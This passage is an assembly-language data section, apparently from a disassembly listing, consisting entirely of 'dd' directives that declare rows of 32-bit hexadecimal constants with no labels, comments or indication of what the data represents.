dd 0C7333CDAh, 6D5496h, 2E26EC65h, 7A512599h, 6029B74h
dd 3C5333F3h, 89E84013h, 1F320082h, 45CFB820h, 0B90772C7h
dd 38526214h, 752FDB90h, 302C007Ch, 5994ABFFh, 81001519h
dd 4DFCB73Fh, 3121B63h, 0C5898BB2h, 96B05DA0h, 0D900FD70h
dd 1DCB6C66h, 0AE64BDh, 0A36F6827h, 1E35C712h, 0BE903A1Fh
dd 81D38B80h, 94C7C36h, 129EBF76h, 67A49403h, 40045BF9h
dd 79EBF380h, 14193B00h, 0F5093CDBh, 8D73EFh, 7FDD3F4Bh
dd 0A639A364h, 0BECA8C00h, 93FFF494h, 37270098h, 3610E8C3h
dd 380083E6h, 0E4067720h, 48BB2604h, 7C004927h, 0D888327Bh
dd 10005AF3h, 9F8939DDh, 0BBA2A9h, 27660C91h, 1D0207A3h
dd 7BC36501h, 0E34226BDh, 7B981E4h, 0A3917F68h, 0C0F9F721h
dd 59C9D303h, 0CD52500h, 33FE7E94h, 0E0C21D17h, 0B5A9807Ah
dd 0B6812806h, 6C6E4C00h, 4FCDC4DFh, 61893EEEh, 0A79EDA00h
dd 4578907Eh, 0E1ABF100h, 760D6AAh, 855A3CDFh, 87A82E3Eh
dd 417800D0h, 63170D4Fh, 1D00C6F9h, 0E452704Bh, 7CEB6Ah
dd 4A55627h, 77F58996h, 0F9F60528h, 3F1DD000h, 8F0EDD5Ch
dd 288E0408h, 83F75A2Bh, 8883B12Eh, 40603Fh, 709954B7h
dd 3EA40378h, 65313428h, 888CF980h, 9E4F2F10h, 0B40339FCh
dd 0C3AD5356h, 0FB78D60Eh, 0D18B85C4h, 0F9E3E600h, 363435DBh
dd 5839595Dh, 330853Ah, 2AA1E988h, 86810284h, 7C786AC7h
dd 0F90D0880h, 0E733218Dh, 0C0EB7003h, 305B067Bh, 0FB504034h
dd 0B17989DBh, 4D20A40Eh, 9737805Ch, 49C8C051h, 0AF0DE829h
dd 855904F1h, 0EE7A6CE1h, 0CB291C1h, 0E0642FE8h, 1F470056h
dd 3E1C84F7h, 240A9A49h, 0C4159E34h, 50C0C21Ch, 0BB9BD0D7h
dd 0ECE60247h, 0F0130E2Ah, 15806760h, 0EBAA6100h, 9CDA2DC4h
dd 0EC6300B3h, 1183B246h, 0D30E6E09h, 47BFB907h, 0D4E0F84Fh
dd 170C58h, 49921497h, 34617BCDh, 6B002A75h, 1CC49960h
dd 0FF973Ch, 0ABB97F72h, 0C68F6DB4h, 0CD449B1Eh, 0C9E91B00h
dd 1C1767h, 641A097Ah, 9A548094h, 60F19E01h, 6C4F7F6Dh
dd 0BBD2AC50h, 5AC00017h, 0F8AE0286h, 5D01B229h, 0EF3B333Eh
dd 0C8D85C08h, 0FCD9151Fh, 0C7009C1Ah, 263B8EB6h, 0A4B8AF45h
dd 6F185863h, 7159006Eh, 84AE3242h, 7205F29Fh, 5CED7D45h
dd 0F9D0D400h, 1ECE4CFFh, 7B1B2C7h, 30AC6FE8h, 795F072Eh
dd 2B0C82B0h, 516B9977h, 0E00554CEh, 459806h, 0BBF9EE1Eh
dd 8A19AFDDh, 7D81A600h, 0AA74D732h, 244C7CB8h, 7801117h
dd 826E9A97h, 0EB80A7FCh, 29CFC52Dh, 0BD7C770Eh, 1C8685E2h
dd 2F3E3404h, 98B50400h, 7000AAB8h, 0A1374472h, 0C1E9B8Fh
dd 26CE6E7Fh, 0D80BD591h, 237D0Fh, 9F4CFC03h, 0C9F8287Ah
dd 51E43BF6h, 0E680693Ch, 9AB71558h, 932BC141h, 82F00479h
dd 1092672Eh, 0F54C007Ah, 0CC073009h, 0C41B3607h, 4FB127E0h
dd 31D80121h, 8634B632h, 0F325F1C6h, 30746690h, 8D16805h
dd 2C0171E1h, 0ADB8974Eh, 6E345184h, 94C141AEh, 29BE1E3Ah
dd 2D966B81h, 0F018FBF2h, 1F00A17Bh, 8CD45643h, 3E152DEh
dd 3386A283h, 610C4CB1h, 0C1CC8B01h, 0D23888A4h, 59C0577Dh
dd 2A1935DFh, 0A7073A5h, 2EC2343h, 18724770h, 0A0803D03h
dd 0EE63A006h, 960E37C1h, 278228E8h, 0C0BF35F0h, 0D9134CBh
dd 8D2594CDh, 9D01F881h, 5286BB3Ch, 0B7C0004Ch, 0E6905028h
dd 7B81096h, 0F64103E4h, 1875B6Fh, 19714E29h, 9E76563Ah
dd 3856E2A8h, 9EE62103h, 145974C2h, 0F8589782h, 0E0BA0490h
dd 7CA1AB56h, 15F91495h, 9900E883h, 0EC881401h, 61019E1Bh
dd 0B856300Ah, 28885C2Eh, 0F590B445h, 442B8684h, 0FA4428DCh
dd 471948D0h, 0C088E8D7h, 0CB5D8829h, 44844D90h, 51E44C2Dh
dd 7EAF0071h, 76A8D2D3h
dd 9009E3Bh, 0CEA3B594h, 649F4480h, 806D20A1h, 62B4131Ah
dd 0F96FE700h, 0F7841D67h, 573E009Eh, 99E265DFh, 0C400B21Ah
dd 8CD75B30h, 0F6AC1001h, 0B6F30074h, 661A1939h, 1700CE89h
dd 75FC98CBh, 14D94Fh, 0A9E174C4h, 485411E6h, 0BCA7D800h
dd 8221E5A3h, 0F79D00B2h, 0D2154914h, 0EF02C8FAh, 7C87CFAFh
dd 89BCA2EBh, 0A400D50Fh, 0B36EDCDDh, 3EBD1B00h, 0DED79D0Ah
dd 1A8C0027h, 0B16C105Dh, 0B0354F5h, 0BC2041E4h, 3C899075h
dd 943B719Fh, 19240118h, 2416F5F4h, 887FECF4h, 915CB00h
dd 70E1DE22h, 0C21B002Dh, 0CE37B1FCh, 3C00198Ah, 0B6BCA052h
dd 0F44523h, 0DBB3ACADh, 4ED2A6C4h, 22A3AE00h, 0F8C75A4Bh
dd 0F5C30740h, 46FB806Bh, 0FEE2317Dh, 5DB19600h, 4C8DD726h
dd 438918D2h, 90043872h, 9127B003h, 0E06D2EC3h, 2E7F498h
dd 58694F88h, 0F0C3C885h, 53BD4D98h, 517B5EB0h, 64845600h
dd 0AC9022B6h, 0B4D100DBh, 6FEAEC18h, 0B1073A03h, 0F0B7DF1Bh
dd 0E29029D7h, 3740C8h, 0CF1DCED8h, 0CA578895h, 258CDA60h
dd 0EA8E7Ah, 69511A91h, 0A542D1E3h, 3AC7500h, 3CA1C4F9h
dd 46500D6h, 87EA2A85h, 68007F57h, 0A02464CAh, 0FD81D1Ch
dd 5111D72Fh, 7C9EA5h, 56392AB4h, 0DB1E84A2h, 3009C70h
dd 0E086986Ch, 2BF5077Fh, 0B07E524Bh, 0C49E4D05h, 0FBE2C1Ch
dd 73A643C0h, 1CB2E2Fh, 86B502D7h, 0D4997B7Dh, 611F75BBh
dd 0E2D8A022h, 0F438831h, 68702032h, 5A4A50C0h, 0E4840E6h
dd 312DA024h, 32501EFDh, 0C9FF4705h, 16EBC094h, 4F02A5C6h
dd 788DAAF5h, 0E2344815h, 45110BE9h, 6880A719h, 0A6FED24Fh
dd 98C6AE01h, 7CF99FF8h, 7F732C24h, 0BE8A00A9h, 0ECFE7E6Fh
dd 4B009839h, 0CC3888E1h, 5E2B95h, 0FB454CBAh, 290F55F6h
dd 0AFFED1E4h, 48B16700h, 2BDBC098h, 0E4020095h, 16507FE5h
dd 0CD7C23F6h, 6CCB7E03h, 90804AAEh, 790FC2Fh, 0B8A9956Fh
dd 0BA4D50C5h, 190E0E86h, 401F3253h, 999CBE3Dh, 2E330322h
dd 0A7E30C6Ch, 683144D0h, 0AF003578h, 8D5DFAC6h, 1B1D87B6h
dd 294C0E53h, 0FE909690h, 8FDED300h, 0B59B04D0h, 0C941005Ah
dd 3D5F7175h, 5E0078A7h, 12735458h, 22A07ABh, 6681E04Dh
dd 0A460515Dh, 6C000E69h, 7449A5F9h, 231CA1h, 448FFB86h
dd 1B28CE6Fh, 5F2220C0h, 656D7Ah, 0BF617684h, 0B3F7608Ah
dd 0C983091Eh, 2F3F1000h, 0F2819Fh, 0C2791B6Bh, 2DCEA854h
dd 6F032473h, 90BF7588h, 0B5B898F6h, 9D84077Ah, 70456A89h
dd 209F4665h, 0ECBC2A51h, 540036CDh, 0E54C30ACh, 0F456C2FFh
dd 0D2EA86h, 0D0AB4543h, 36705751h, 5AB2CE0Eh, 974AE1F5h
dd 852191BAh, 2CD8D4h, 0B5E0154Eh, 17BB81ABh, 3C00F090h
dd 9E98318h, 5B3F85h, 13B93984h, 1A3B240Bh, 3AF92B00h
dd 0D3082C58h, 0BE7A33h, 990767A4h, 7F97E39Ah, 84B68518h
dd 50FA0C29h, 4CDA9395h, 0B00019AAh, 2968674Ch, 2607FD42h
dd 9B9A58D6h, 604F8E02h, 202C08h, 292EEC85h, 0C65507C5h
dd 0E3F1AE00h, 0EDBB1B1Eh, 974D007Fh, 6E3D20FCh, 1F029A13h
dd 7E33DA56h, 7E075D41h, 27CCF7B8h, 1E68C05Ah, 9B01857Ch
dd 0B593EAD2h, 0F7D04F54h, 228F001Fh, 0A3741E48h, 360021F8h
dd 96435EDEh, 996D61h, 23F4534Ch, 6719C49Bh, 0B6DAEA1Ch
dd 35EBEC00h, 3AD8AEh, 0E1FE482Fh, 0BE1EBD27h, 307C9600h
dd 694B761h, 0D0753983h, 36B6012h, 0DD19A28Ah, 17B76880h
dd 8F54073Dh, 207D1487h, 0D55EEF28h, 64890027h, 0EAF9E78h
dd 0C800E526h, 0C5B14972h, 35BDE19h, 38F7D398h, 0BD88EE6Ah
dd 0B63D4474h, 83D50042h, 0D0CDA10Fh, 15E90176h, 66B1DC3Bh
dd 0CBD8E492h, 0B24DD500h, 79CC2381h, 0D2240072h, 0E72D2716h
dd 94000D28h, 0E5DD4A8Fh, 0F826DCF9h, 3E0E007Ch, 46921472h
dd 60024D0h, 0D7D88319h, 1EF66B71h, 0F8C19304h, 5E89127Ah
dd 0A07E0003h, 78CEDFAh, 20C031F0h, 3AD9A22Dh, 53BA004Eh
dd 49941093h, 91001FF4h, 0F60D5B80h, 76AB192Ch, 6F5800C0h
dd 132870A8h, 9A00CC49h, 77253230h, 78B1184h, 0A3CFD3BFh
dd 28E61006h, 750796B7h, 0C9CC4BB1h, 0B00848D0h, 400E1E50h
dd 411E9CA8h, 57A05DE2h, 0F881DC25h, 0C092AC00h, 22D2FE87h
dd 1B90080h, 3F839E88h, 5E00C5B2h, 1DF6D171h, 1AEB5Dh
dd 28926AD5h, 58B295B5h, 648E6706h, 0EB0C77Ch, 131A39FEh
dd 0AAC9005Ch, 63F1452Bh, 0F48EA100h, 69FB2E11h, 90CB0718h
dd 53B4B06Bh, 0F7F09C3Dh, 5F1889A5h, 98118CCDh, 0EF990837h
dd 0A40F9363h, 60ACCFB4h, 1EC30B2Fh, 31120C7Fh, 1F209290h
dd 0F506B700h, 0ECD7A90Dh, 6FB41F7Ah, 0A12E8399h, 0A0F36096h
dd 2898881Eh, 0B6DB7980h, 6753BBh, 0E7D9F12Ch, 0F3D89E60h
dd 16E9DA00h, 40943DF7h, 17AF7FF0h, 7044FB8h, 40813FCFh
dd 9B42F244h, 4DC20F07h, 40EEABA6h, 171953E9h, 0FFB70045h
dd 387971BEh, 0DE0044F4h, 559463F5h, 0CB9E519h, 0B7E72ADDh
dd 0B007EF19h, 6C3B0154h, 0ED5F00C9h, 587381C5h, 0F0CABABh
dd 69542F9Ah, 11CF6700h, 6B50D58h, 0CE641866h, 1DE42029h
dd 9AAD300h, 27C74C65h, 9FA200B2h, 0EEDB561Ah, 47005025h
dd 0CC3EE629h, 0F69BF5h, 0B144BABh, 0A37F10D4h, 3D0225ECh
dd 0C3FDDB1Bh, 0BA0240F8h, 37865876h, 0C07F9440h, 1EF7A848h
dd 0D1006F21h, 5C60EA2h, 0A0A786E6h, 31DE1B8h, 4EF8EEE2h
dd 0B0D7E008h, 8896B4D4h, 93CB0300h, 8BB20E17h, 0F659002Dh
dd 587642CCh, 0A500D2DFh, 12D9C31Dh, 0DCF540h, 36F2C04Ch
dd 0E5883B57h, 0FB556500h, 0C300F4Fh, 0F1EB09E4h, 1420AB58h
dd 85C7FAAEh, 1D1FE0Eh, 59FD4028h, 1F085B74h, 809AA231h
dd 0C2EBB83Bh, 10926573h, 0F663A1Ch, 0C6FDBB80h, 69932Fh
dd 7132A255h, 6A8B91D5h, 5C073079h, 48A73957h, 6CD0F927h
dd 0F280FFE8h, 5618C050h, 47A24C6Ah, 37DBEE02h, 402F259Fh
dd 64AE80h, 7403D761h, 80E41B34h, 93C12E01h, 3E6CE51Ah
dd 1FA27C24h, 4008AE85h, 0ACAD875h, 880723EAh, 28356A1Eh
dd 13649900h, 0ABF50397h, 0F4EA9FB2h, 5CA22FA8h, 32311600h
dd 15754C9h, 83F90090h, 0D5147330h, 0DF742D13h, 558F5B00h
dd 0A2BBC0E3h, 4E7618h, 0A738D2A3h, 0B3DFAC9Bh, 11A62B00h
dd 3EC3509Dh, 6E3F00B9h, 5675617Ah, 0ED5CA2F9h, 5EA100E8h
dd 0D3C8F7EEh, 274A00F5h, 0FEF1FD94h, 50000D1Dh, 0C7C1DD92h
dd 60912506h, 1C8CC83Eh, 713C5CADh, 1EEA140Eh, 63DB0E9Ch
dd 0B3C9A0C8h, 8130CEh, 97DAB062h, 0F148232Bh, 3DA3B600h
dd 26E902CBh, 6A5C1D60h, 61248071h, 0F46BCA7h, 34C2CE24h
dd 0FC13DB00h, 149A327h, 94E3BB90h, 0D0E04262h, 0A0394178h
dd 47190029h, 0ED9E0173h, 0E6A500DBh, 0BF39A3ECh, 59072A0Bh
dd 19608F13h, 0F306D211h, 0FAD45821h, 39CBF075h, 0BE807647h
dd 52A7E7E6h, 1B00F753h, 14D0E833h, 0D8062h, 9682860Bh
dd 49B51AFEh, 0BBFFB800h, 687B4204h, 0E6BA000Ah, 5C34873h
dd 0BD00717Ah, 61939095h, 3808E49Fh, 0F8731714h, 105B0032h
dd 0FA72F0C4h, 3A00A812h, 1E7D0E31h, 0B014C52Bh, 0E3BF0054h
dd 13F7E5D4h, 303BEBAh, 0B89C9B9h, 8FA188A0h, 0CCF1044Dh
dd 0C0D35723h, 6BE7B0EBh, 8C9C0400h, 2246CA75h, 0E3E900B8h
dd 38E0FFBBh, 7100480Fh, 0A53056A2h, 9827F9D6h, 71E1FE93h
dd 0AAB00087h, 8EB99673h
dd 5F007E0Dh, 3B320E93h, 0A55044h, 0C50C1887h, 0D1FA71A7h
dd 792C1500h, 9A2E1A0Eh, 75BE3794h, 4A91F0A2h, 0EC00AC41h
dd 0C6E107B0h, 0DA938Eh, 0CB1DF5F4h, 196CCCFBh, 6F0083FAh
dd 1BE84947h, 2D456B86h, 6F58F13Ch, 0D433507h, 8B7063FDh
dd 0E71083h, 2A051FC1h, 0A98C9FD8h, 81965800h, 1E8A3F98h
dd 0AC0F4EC7h, 623F74h, 3AD23504h, 1D050E3Eh, 215A198h
dd 347DBB31h, 86E5AA60h, 0C003698h, 9CF86CA6h, 0FBBC1C3h
dd 7AAD7F2Eh, 0F6DF2840h, 66FA56FCh, 6120BB0h, 0A00D4C4h
dd 3F47F286h, 0E5FF4C84h, 6B9CAA00h, 1D8FFA51h, 0FC5F8D00h
dd 0B5C77A8h, 0B88206F6h, 78CE6893h, 68F095h, 6E8EC4BFh
dd 39EEF1B3h, 6199071Eh, 0E0F887C0h, 1FB452h, 0E82AFBA4h
dd 5A4ECFB7h, 721BD20Fh, 6A9A43DAh, 4F2C062h, 0C37800B2h
dd 0FBE9311h, 0FA00BC5Ah, 61BAFE19h, 0F902ADh, 91840E29h
dd 0F8E1D4B2h, 9E509400h, 2B4B2C06h, 0A4460075h, 606ECC1Eh
dd 720085A5h, 0C5FBD302h, 0EE8A80h, 0A345E4E8h, 9ABD7997h
dd 183C43Ah, 7F07026Bh, 19F40A11h, 90B41F82h, 0C478018h
dd 6AE225AFh, 775CE800h, 3C1D5FADh, 8A302D8h, 40F78385h
dd 2C74C480h, 952E6EFEh, 8B008A72h, 2FB0E39Ah, 63E41F73h
dd 6AE90096h, 29BAB88Eh, 25B2E500h, 4DCACD4Fh, 0B5C20044h
dd 0F8CB6740h, 9600EBA7h, 1DAC4C7Dh, 5C38BA94h, 300382Ah
dd 0ABE2CEEh, 740495B0h, 0DC11662Eh, 0E8C9A781h, 35301180h
dd 3C417526h, 56A00D27h, 3CAD12EBh, 1CB07D14h, 786123Eh
dd 5DD9F208h, 0A4F9AB40h, 339128E6h, 883973FCh, 0A0F6F4CAh
dd 64B32801h, 973C545h, 0AB2A20h, 1F5831F8h, 28BE2AC6h
dd 66D60E00h, 7890A952h, 4DEC003Fh, 0B4542446h, 0CE07A17Dh
dd 0E455511Ah, 1D6120B0h, 25DF00A4h, 37E5D8FCh, 0C33D8FB5h
dd 2EA5809Eh, 85B48D58h, 28E4E675h, 0EF807BCh, 5CDA633h
dd 0B041A583h, 86E039EAh, 870295DEh, 752CF6DBh, 0B004844h
dd 83650005h, 584C47F1h, 9C0E07C1h, 0CF9ADD33h, 0CAE16037h
dd 0E38B46Ah, 3B095C13h, 6662C740h, 0EE042316h, 5D56EC02h
dd 0E4C51880h, 0E17FE41h, 4361FDEAh, 1B590580h, 1DEEFFFCh
dd 44FE1F06h, 120E462h, 20AEAC1Ch, 0DC97250Dh, 0D900130Fh
dd 0BE580A04h, 112174h, 0F3618E92h, 430CA096h, 0E08BAA00h
dd 2834D0C4h, 905839F9h, 750216h, 0E2B80BF5h, 88007935h
dd 255FBAD7h, 74F4EE7h, 98105E55h, 84AAB440h, 66EC0Ch
dd 0CA25597Bh, 733BB47h, 0C397B7FEh, 77CFD0FCh, 73073B67h
dd 0F4E6DBB8h, 3F61B410h, 0F6B2384Fh, 398FD500h, 0F3A70475h
dd 5A7B6E00h, 0A208476Dh, 0D7650017h, 6FD53ED9h, 0DC03AE27h
dd 2882D02Eh, 2211051Ah, 0C08E014Dh, 0B8EA4B03h, 0DECF1D00h
dd 0D582B512h, 7A183CBFh, 0B4A36101h, 0D023CD7Ch, 9D007D99h
dd 40AAD119h, 0E0C135h, 0A4E5C9F3h, 0D52475F4h, 0EA893300h
dd 1C407865h, 9F8E03BBh, 9DF357E6h, 41E5DEF0h, 0C3580D00h
dd 783A5DB4h, 8168381Fh, 59771Ch, 69E7F17Ah, 0E40052C9h
dd 0F542DAD9h, 24F22950h, 764717h, 0B566FB4Ch, 0B700733Ch
dd 0C986E44Fh, 0C1DAF4C0h, 0D15EC760h, 0AACC342Dh, 8073D207h
dd 2C4103D8h, 18BC42ACh, 5410FB31h, 0C0A313C1h, 605DA75Fh
dd 0E3891E7Bh, 19033E39h, 6FD31726h, 6096A0h, 0B44D8886h
dd 0D2D89DAh, 59603CFEh, 49026471h, 0CE350FA1h, 801ECF97h
dd 2FD8E058h, 3D02F1BFh, 0A14B1713h, 8E588E39h, 4E0190E9h
dd 0C50B132Dh, 6312D05Dh, 9C3A6D2Ah, 9CB8D600h, 0FB22C777h
dd 164A0051h, 0EE13BD0h, 0E6FEC917h, 342B1C00h, 0AEA1C599h
dd 416900D7h, 33165329h, 48719C2Ah, 3CBD8601h, 92B64BFFh
dd 0A1A2E4h, 0D5A6A71Eh, 2D4DB4F2h, 0FC2BB93Fh, 0A4165F1Fh
dd 0E4415302h, 855480EFh, 7EBFF4D6h, 0D3130C4Bh, 0C308ED64h
dd 0FEAA21C0h, 0C501F4h, 7BB2BDBAh, 23595CD5h, 0E507960h
dd 0DA7691ACh, 0E081A668h, 0E6DB277Dh, 11EE1444h, 0B603297Fh
dd 4E2D884Ah, 0A608281Ah, 754100B4h, 0B8472949h, 0A20A8613h
dd 0FC57DB6Ah, 0C3880B40h, 0C5DF631h, 0D13ED449h, 8106C739h
dd 20EFFFE4h, 82470011h, 78860C6Eh, 5D33334Dh, 0E0908A8h
dd 6E7A1921h, 0C02E1B00h, 72FC437Fh, 0C1B9891Ah, 0F3468058h
dd 9F2B24h, 0CFD0D2D8h, 0AC4AC727h, 61912E60h, 48A7E012h
dd 0E81CEDD8h, 1508F3C0h, 0EAEC2100h, 6213EEE0h, 681D01CDh
dd 0B88A0C97h, 92B98121h, 93447D7Bh, 1FE4B560h, 98707343h
dd 2972D012h, 90C2C6B8h, 0C0A62488h, 1C8E9469h, 404E8C79h
dd 0EEB252A8h, 48000CD1h, 0E2924945h, 0B0988026h, 7E120F15h
dd 7A20655Ch, 863D225Dh, 552C8E00h, 8DDDC960h, 5FB00FCh
dd 0EE70EFC5h, 0B80041BBh, 6366A531h, 6DBD5h, 0B1D88990h
dd 71F07656h, 0EE1C7000h, 74CE75D9h, 0CBB93F5Ah, 0B62203F5h
dd 0ABEC6561h, 0E7041143h, 0F601ED3h, 0F72E010h, 3D87C2CFh
dd 112C829Eh, 122D2CE0h, 0C1893Fh, 42F188EBh, 0E3FDC68h
dd 4E9683E7h, 52E38BA0h, 0BE00829Eh, 3E6C91B4h, 0F486BDAh
dd 0EDD9BC35h, 866FC7C0h, 0B100EA25h, 27E2F1CCh, 0B27CC3h
dd 898735E9h, 1E03B563h, 32FEBB02h, 0C1A32719h, 1E0A27Ch
dd 0AD200716h, 0E9810Bh, 0B735868Bh, 0D9BBAC1Eh, 1D4DC380h
dd 782BD531h, 7CCD78DAh, 0A7FC39h, 9201DD8Eh, 7D714C43h
dd 3A005A73h, 6963B617h, 0E59979h, 0F247DB57h, 38D16468h
dd 4C350D07h, 0E3DE9A1Dh, 0E87081D2h, 962DECh, 4173DAA9h
dd 452E9277h, 3DFFEB0Ch, 7CC4283Bh, 0F0ED005Ah, 0E90DCC5Eh
dd 201D1D27h, 0B1C04744h, 612AEB95h, 0CAE42A78h, 8D5000C4h
dd 4CA4119Fh, 99EEB27Bh, 0E914C100h, 2098BB2Dh, 60897A1Ch
dd 31121037h, 0F6441DAFh, 0D30C004Eh, 0CA098675h, 3E15EBF1h
dd 0F0AAE1h, 0C0A8C716h, 1278777Bh, 0DB564Ch, 9E88694Bh
dd 360B7493h, 776BD23Fh, 12899C01h, 5671C8C2h, 0A6E9E801h
dd 672C6694h, 0E9E6230h, 0F51E9DC0h, 88C270A0h, 0BD004FECh
dd 4769F32Bh, 679CF6h, 6BDB310Ah, 13D7CB3Fh, 684B7E00h
dd 36ABAE5Eh, 0B27417h, 0EDD24899h, 150EB9D9h, 0DA01FF0Fh
dd 1C0A406Ah, 284E3EA7h, 0F88CE8Fh, 3542C8F4h, 0A0B923C7h
dd 0E256E6FDh, 0F9ED406h, 711F310h, 540AF279h, 9430B029h
dd 2501FF6Ah, 5371522Dh, 61F4B6A3h, 0F9B9043Ah, 8072F111h
dd 6DC825Fh, 0BFE7403Bh, 0F8C600B4h, 24D7EBD4h, 3620C197h
dd 0D958E14Bh, 6E5E0F7h, 0D2FA6A04h, 410095B3h, 0DA62FC78h
dd 492CEF00h, 9E3E6DA9h, 64210039h, 24AEEACh, 470EBCCAh
dd 0DE569A6Bh, 35DF003Fh, 0DD75A9DBh, 504F00F8h, 0FE03D97Eh
dd 0E4A01645h, 0BA889B5Dh, 0F2401547h, 0C00D895h, 16266A34h
dd 0DE000235h, 32BDB793h, 4C4A99h, 0C74043BEh, 4EDD95FEh
dd 46676C00h, 25A23ACFh, 3660042h, 1727E4B3h, 0FA00ECB9h
dd 57F6567Eh, 0E568D6h, 724DD311h, 0EE3ABE1Ch, 0E3183400h
dd 0AB4E9D3Eh, 0C40D002Eh, 0A084C691h, 8D50F007h, 880094C6h
dd 77B5CC7Fh, 0CF2E5Eh, 8B626EE2h, 54FDF846h, 191CBA1Ch
dd 59FA2440h, 9ED27Bh, 1B033116h, 3F6810F4h, 82324E1Ch
dd 3C0117C0h, 0F884A2h, 698B3983h, 0E1259F09h, 0AF607667h
dd 0AFE1BD0h, 0F78A00EEh, 23085155h, 0D775B861h, 3A5A700Ah
dd 0A21E3CFCh, 1A8BA340h
dd 1E868AB2h, 9CBF51h, 3895395Dh, 0AF1E18ECh, 6F809881h
dd 5FA9108Eh, 4D29004Fh, 21861D55h, 0E300A2DDh, 640BBB33h
dd 0E4BD4993h, 7A5200C8h, 1A7B6323h, 0F201B814h, 64E9E647h
dd 9C4BFAFh, 564307DFh, 71949DAEh, 0D85AC8C5h, 0BD00FFA8h
dd 0DC23C3A4h, 0BE9B54h, 25897321h, 6FBA79CCh, 0AB062671h
dd 5FADDE6Dh, 0ECBD1FF8h, 0C325007Ch, 18DCC6A4h, 9DD93Ah
dd 0ED650791h, 762331Ah, 404A7D85h, 3E873025h, 71E6DA5h
dd 38809CE8h, 960C6F82h, 884700EFh, 0B93D79F7h, 3B00F8F1h
dd 8E748D8Fh, 289B0C1Dh, 9C8971h, 54048120h, 0AEFA7DFBh
dd 9D053800h, 48A31522h, 35D81C43h, 63CC40E0h, 3BB3969Fh
dd 41F28A30h, 2C19AA3h, 395933D6h, 1440F657h, 0C300FC45h
dd 0BE31888Fh, 520F67h, 90713258h, 811A7ABDh, 41E0C401h
dd 0E5D9B8E9h, 7A6093E5h, 0BB0E0076h, 1704327Fh, 0E400CE2Dh
dd 0A5E1E9B0h, 58A17D51h, 45009882h, 4AA36C75h, 8A00028Dh
dd 571BA7E3h, 853978h, 5BD90DECh, 4CBDA086h, 0B821611Ch
dd 0EDB95105h, 0B5220DC0h, 0B17F6085h, 0A518FCE9h, 0CE3E301Eh
dd 8438DAB0h, 8A5038BDh, 95A11980h, 20D15921h, 177B33Eh
dd 830F60EDh, 0B9C028B2h, 0EF4F00DBh, 187BE313h, 0B626EB69h
dd 970A83C9h, 0D500BEE7h, 0F88C7F58h, 0CE0A00E1h, 6914952Bh
dd 0A200E268h, 0BB25C478h, 0C6C902h, 0A9D5D8F7h, 0CD3C30F6h
dd 4EA18E00h, 6661483Ah, 0C80E5C47h, 4C96A40Bh, 2E498480h
dd 36003EE2h, 6E938A9Ah, 1F8B55Ah, 0D4C78677h, 0F04E2EA0h
dd 2C0022A6h, 0EF2D9DECh, 5DF2AC0h, 64F55CB7h, 6CA4C240h
dd 0BE59FC60h, 5F00A670h, 0E6760B72h, 7EF6FDh, 179871FAh
dd 0AE16B4ADh, 0F5E17F00h, 2A254113h, 979E0006h, 7114C36h
dd 0B13D78B9h, 3AEB0A32h, 2C02CC94h, 0AED35689h, 9FF820F0h
dd 0B52B74h, 1C37CFC3h, 20E56B7Bh, 0EB3E6AFEh, 230674DAh
dd 0A516E370h, 7EBF00F0h, 3DCC89B8h, 8B00B275h, 0DC7B7D8Eh
dd 344626h, 2E96CEE5h, 0DA9EC099h, 0B0CAB100h, 47D4BA87h
dd 0D08E0079h, 0C5E249F4h, 6A002876h, 0B099EE2Eh, 7E2354BBh
dd 42CB00D6h, 775CAF0Ah, 0A7E092ABh, 0B5399700h, 0A9EDCCB0h
dd 90589A26h, 3F7F016Ah, 0D61A46ABh, 9877C4F7h, 886EBF00h
dd 581B164Dh, 7C4B009Bh, 34C273D1h, 4100A6FCh, 182C8E6Eh
dd 0BC55F9h, 4CC44960h, 0CF1FD938h, 0AE2B2613h, 0BD1A0100h
dd 20C0A5Bh, 0DF3C477Ah, 0C868C2EAh, 321EFD51h, 1703AF2Fh
dd 98F4909Ah, 3E4123A6h, 11A865B7h, 7DAD0010h, 0A262F4C2h
dd 1DB0EE23h, 0D10C5274h, 0D11C01A8h, 3E901D0h, 6B126342h
dd 0E7088047h, 28660939h, 0A8F0FD1Eh, 0EA18A902h, 0F87B48E8h
dd 0C27486h, 0F6555232h, 279EA242h, 3AD94000h, 0F079365Ch
dd 0D84E0750h, 238106B2h, 0B003E889h, 1CFEEE7Fh, 0BCD918BBh
dd 32F4611Bh, 0D023A318h, 10EE55B0h, 0C8FCA8CCh, 0B10ECh
dd 8DCF65A7h, 0EBE4A9h, 0D462162Dh, 8B02B640h, 64526D01h
dd 7371B7D1h, 0DAC6D080h, 1DD38E59h, 75006978h, 10704120h
dd 38ABCEh, 0E2874425h, 32DC62EAh, 66908C00h, 9257B7E3h
dd 8B7DBCh, 145536E7h, 0D7796B96h, 0BF294628h, 0F63A2607h
dd 3501EB3Fh, 69E01DF7h, 0E6AB0006h, 0A3E91CB3h, 5E01D5EEh
dd 0D3DFF5FAh, 16F9C9B4h, 0E6210F8h, 885140C2h, 6BFDE560h
dd 7C000164h, 0C0424B21h, 0E1ADD15h, 5D388907h, 0CA42D60h
dd 7603C7C1h, 34E52368h, 99F3A0F8h, 71DFA40h, 0B9CC33BDh
dd 88A7E44Dh, 9B000860h, 18561FC8h, 0E7F3Fh, 36867EDh
dd 0DD9DEE73h, 0BC9A4915h, 141E00CCh, 0D9EA01A6h, 0D6EF1BDFh
dd 0D7C7185Ah, 0F6964311h, 185FAFF8h, 1D8A5D0Eh, 2FABE007h
dd 760C520Dh, 0EDDF0082h, 1E9CFAA8h, 67013530h, 0D693888Ah
dd 6880AF2Ah, 9C55C1C8h, 4B0C6537h, 81F68249h, 1EF0EA58h
dd 0C19E5D22h, 9C83008h, 196CF08Bh, 0CE39F926h, 2BDDAF04h
dd 0BFAE4883h, 81164C80h, 798A0076h, 0A998B36Ch, 9D00593Ch
dd 291E4FD1h, 46EBDCh, 1AA77518h, 73EC26F3h, 8364FB03h
dd 0A03142B1h, 26D6093Ch, 0A4A033Fh, 0ECBA16Fh, 0DE86A017h
dd 0F7002084h, 0D71403C6h, 3E7ED2h, 0AE4E564Dh, 0EF183208h
dd 0E6833500h, 0C6983AF5h, 0CCA5064Bh, 60360946h, 5E0027FAh
dd 80380C47h, 0C0BCFD6h, 43E46CDh, 0BA1E3381h, 6DEB697h
dd 0FE6A8B06h, 0C060B0A8h, 0AB593620h, 44005587h, 0D24D4AFFh
dd 0F2B9C4h, 8CE61753h, 88083D75h, 709E5A02h, 40FD7C38h
dd 7151ABh, 0A0EF4743h, 561DBAB2h, 0C87C70E3h, 9429F800h
